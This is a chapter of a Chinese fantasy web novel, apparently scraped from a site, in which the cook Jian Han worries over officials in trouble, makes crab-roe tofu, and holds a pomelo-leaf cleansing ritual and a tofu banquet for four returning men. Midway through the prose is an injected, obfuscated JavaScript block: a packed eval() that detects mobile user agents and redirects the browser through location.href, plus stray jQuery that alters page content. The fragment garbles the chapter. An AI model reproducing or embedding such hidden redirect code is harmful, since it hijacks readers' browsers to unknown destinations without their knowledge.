92. 酸菜鱼捞面和豆腐宴

作品:《妖界小厨娘

    简菡心事重重地回了厨房,只觉得坐立难安。


    越想,心里就越是不安。


    忽地,她一把抓住了过来传菜的穆暄,死死地攥着他的手腕。


    “你现在就去一趟衔蝉苑,找青梧,借几只机灵点的猫猫过来帮忙跑堂。然后,你马上去县衙门口,守在那里,务必在你哥下值后的第一时间,把他带回来!就说我有急事找他,十万火急!”


    县衙今天似乎有十分重要的会议,天黑了都还灯火通明,一直开到入夜时分才陆续放人出来。


    穆暄得了令,蹲在县衙门口的石狮子边上,即使困得眼皮打架,哈欠连天,眼睛却一眨不眨地盯着进出的大门口,生怕错过自家堂哥的身影。


    “哥!”穆阳的官靴还没踏出门槛呢,就被如同小炮弹般冲过来的穆暄一把抓住胳膊,连拖带拽地往外扯,力道之大,差点让他一个趔趄。


    “干嘛啊这是?!撒手!撒手!我自己会走!”穆阳被他突如其来的“绑架”弄得莫名其妙。


    “诶!诶!你这臭小子,拉我去哪啊?”


    不管穆阳怎么问,穆暄就是个实心眼的,牢记着命令,闷着头,使出吃奶的劲儿,半拖半拽地把自家堂哥往汪仙楼的方向拉,嘴里只会重复:“简菡姐找你!急事!”


    等一路被“押解”到客栈门口,穆阳累得直喘粗气,官帽都有些歪了。


    一进大堂,他就一屁股瘫坐在椅子上,气都喘不匀,手刚伸向桌上的茶壶想倒杯水润润喉,一份《京城月报》,被简菡直接推到了他面前。


    格外大号的字体,瞬间刺入他的眼帘。


    穆阳伸向茶壶的手僵在了半空,缓缓收了回来。


    他看着简菡那双写满了焦虑和质问的眼睛,沉默了好半晌,才长长地地叹了口气。


    “你都知道了?”


    他揉了揉眉心,这下连茶都不想喝了,只觉得头疼。


    又是半晌的沉默,他才斟酌着开口,尽量让语气听起来轻松些:“事情没你想的那么糟糕,别自己吓自己。安心等着,他们会有结果的。”


    这话说得含糊,更像是一种安抚。


    简菡死死盯着他的脸,想从他细微的表情里找出更多信息,但穆阳脸上除了疲惫,看不出更多。


    最终,她也只能像被抽走了所有力气般,乖乖地点了点头,声音有些发涩:“嗯。”


    “你还没吃饭吧?”她移开视线,转而对着苗学望使了个眼色,“我让二哥去给你下碗面吧?还有炒鸡架,用来佐面可是一绝。”


    “行,”穆阳也不想再继续那个沉重的话题,顺势应下,露出一个有点疲惫的笑容,“那我可就等着吃了。”


    两个月后。


    汪仙楼的后厨里,简菡正在忙碌着最后一道菜,蟹黄豆腐。


    嫩豆腐切成大小均匀的方块,在加了盐的沸水中轻轻焯烫一下,去除豆腥味,也让豆腐更加紧实不易碎。


    肥美的河蟹蒸熟后,耐心地一点点拆出来橙红油亮的蟹黄和雪白细腻的蟹肉。


    锅中放入猪油,油温不宜过高,放入姜末爆香,再放入拆好的蟹黄,用锅铲小心地,慢慢地推炒,直到蟹黄在油中化开,炒出金灿灿的蟹油后,注入适量高汤。


    烧开后,将焯过水的嫩豆腐块轻轻滑入锅中,用勺子背轻轻推动,让豆腐均匀地浸润在金色的蟹油汤汁中。


    调入少许盐、一点点糖提鲜,用极小的火慢慢煨煮几分钟,让豆腐充分吸收蟹黄的鲜味。


    最后,用水淀粉勾一个薄薄的琉璃芡,让汤汁变得微微浓稠,能更好地包裹住豆腐,再撒上一把切得极细的香葱末和香菜末。


    “简菡姐!我哥说人快到了!马车已经进镇了!”穆暄兴冲冲地跑进后厨,脸上是藏不住的喜色,那对白色犬耳都激动得直抖。


    “好!马上就好!”简菡加快手上的动作,将最后一点芡汁淋匀,关火,迅速脱下身上的围裙。


    她这边刚把围裙挂好,穆暄已经十分有眼力劲儿地端起那盘热气腾腾的蟹黄豆腐,稳稳地朝大堂走去,嘴里还催促着:“快快快!简菡姐!快来!”


    简菡看着他急吼吼的背影,忍不住笑了一下,压下心中翻涌的激动,理了理衣裙,也跟着走了出去。


    大堂门口,苗学望早已等候多时,他手里拿着两大把翠绿清香的柚子叶,急得直跺脚,一见简菡出来,连忙朝她用力招手,“小师父!快来!快来!”


    “来了!”简菡提着裙摆小跑过去,从他手上接过了另一把柚子叶,两人一左一右站在客栈大门内侧,如同两尊门神。


    门外传来清脆的马蹄声和车轱辘声。


    穆阳亲自驾车,将一辆不起眼的青布马车稳稳停在了汪仙楼门口。


    青梧早已带着衔蝉苑的猫猫在此等候。


    他口中念念有词,手诀翻飞,用柚子叶熬的柚子水被他用灵力引动,化作一阵清濛濛的水雾,将四人从头到脚,仔仔细细地“清洗”了一遍。


    “沐浴柚子水,浊气全消退。”青梧朗声道。


    紧接着,他手指再动,一道柔和的光芒闪过,四人身上的旧衣衫,瞬间被换下,取而代之的是早就准备好的新衣袍。


    “换装弃旧物,富贵挡不住。”


    青梧将换下来的那四身旧衣服全都丢进门口早已准备好的一个铜火盆里。


    火折子一点,“呼啦”一声,火焰猛地窜起,蹿得老高,将那些旧物迅速吞噬,化作灰烬。


    “跨过火盆灰,晦气全消退。”青梧偏头朝他们示意。


    待火苗稍微小了些,汪屿打头,剩余三人紧随其后,一个接一个,稳稳地跨过了燃烧着的火盆。


    最后一步,青梧退开,朝简菡和苗学望点头示意。


    “柚叶身上拍,晦气全走开!”


    简菡和苗学望异口同声,举起手中的柚子叶,象征性地轻轻拍打在四人的身上、肩头。


    做完这一整套“去晦迎新”的仪式,青梧这才松了口气,脸上露出笑容,催促道:“快快快!都别愣着了!进屋吸收吃饭!热饭热菜等着呢!”


    屋里准备的净手水,也是用柚子叶熬煮过的,带着清新的气息。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967953|187362||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    大堂中央的桌子上,已经摆好了一桌丰盛的豆腐宴。


    油豆腐塞肉,小葱拌豆腐,煎豆腐,肉沫滑蛋豆腐……


    林林总总,凡是简菡能想到的豆腐做法,几乎都做了一遍,摆满了桌子。


    这些豆腐寓意着“一清二白”。


    清清白白,重新开始。


    除此之外,还有一大盆酸菜鱼捞面。


    既能作为主食充饥,又寓意面启新生。


    简菡站着,一一给大伙分着面。


    她将最后的一碗面递给了雪翎后,见他们都直怔愣地盯着满桌的菜肴,却没动筷子,便笑着催促了一句:“都吃啊!再不吃菜都要凉了!”


    酸菜鱼捞面,用的是自家腌的酸菜和泡椒,汤底酸爽开胃,配上鲜嫩的鱼片,酸辣鲜美。


    面条筋道,吸饱了汤汁,一口下去,酸、辣、鲜、香都在口中炸开,滋味十足。


    蟹黄豆腐更是极致鲜美。


    嫩滑的豆腐裹着浓郁醇厚的蟹黄汁,入口即化,蟹黄的鲜甜在舌尖久久不散。


    众人刚拿起筷子,还没吃上几口,门外又传来一阵急促的脚步声。


    “头儿!头儿!你要的东西我们送过来了!”叁万和八筒两个人,风风火火地冲了进来,叁万手里还高高举着一个小布包,一脸邀功的兴奋。


    “毛毛躁躁的像什么样子!没看见正吃饭呢?”


    穆阳放下碗,没好气地走过去,在他们屁股上不轻不重地踢了一脚,顺手接过那个布包,将它们随意地放在了桌角,语气轻松地说道:“等会儿吃完饭自己拿啊。”


    说完,他还看了眼愣在旁边的叁万和八筒,“还傻站着干嘛?坐下一块儿吃啊!简娘子做了这么多,不差你们两双筷子。”


    简菡的目光,下意识地扫向了四人的腰间,空荡荡的。


    她心头一跳,正在心里斟酌着词句,想着该怎么委婉地问问这玉牌是怎么回事,旁边心直口快的苗学望却已经直接问出了口。


    “你们把证明身份的玉牌给丢了?”在他朴素的认知里,这么重要的东西不见了,可不是小事。


    穆阳拿着筷子的手几不可察地顿了一下,他飞速地扫了一眼同样停下动作的四人,随即打了个哈哈,用半开玩笑的语气,试图缓和一下这突然有些微妙的气氛。


    “嗨!什么丢不丢的!是这四位爷如今不吃官粮了!”


    什么?!编制没了?!


    简菡瞬间睁大了眼睛,难以置信地看向那四人。


    但她的震惊只持续了一瞬,想到他们平安归来,一个不少地坐在这里,心里那点惋惜瞬间被巨大的庆幸和释然淹没。


    丢就丢了吧!


    她暗暗想。


    什么编制,什么官身,哪有平平安安,全须全尾地回来重要?


    人能好好地坐在眼前,比什么都强!


    平平安安地回来了就好。


    思及此,她拿起公筷,给每人碗里都夹了一筷子金黄色的油豆腐塞肉。


    “丢了就丢了,旧的不去新的不来!”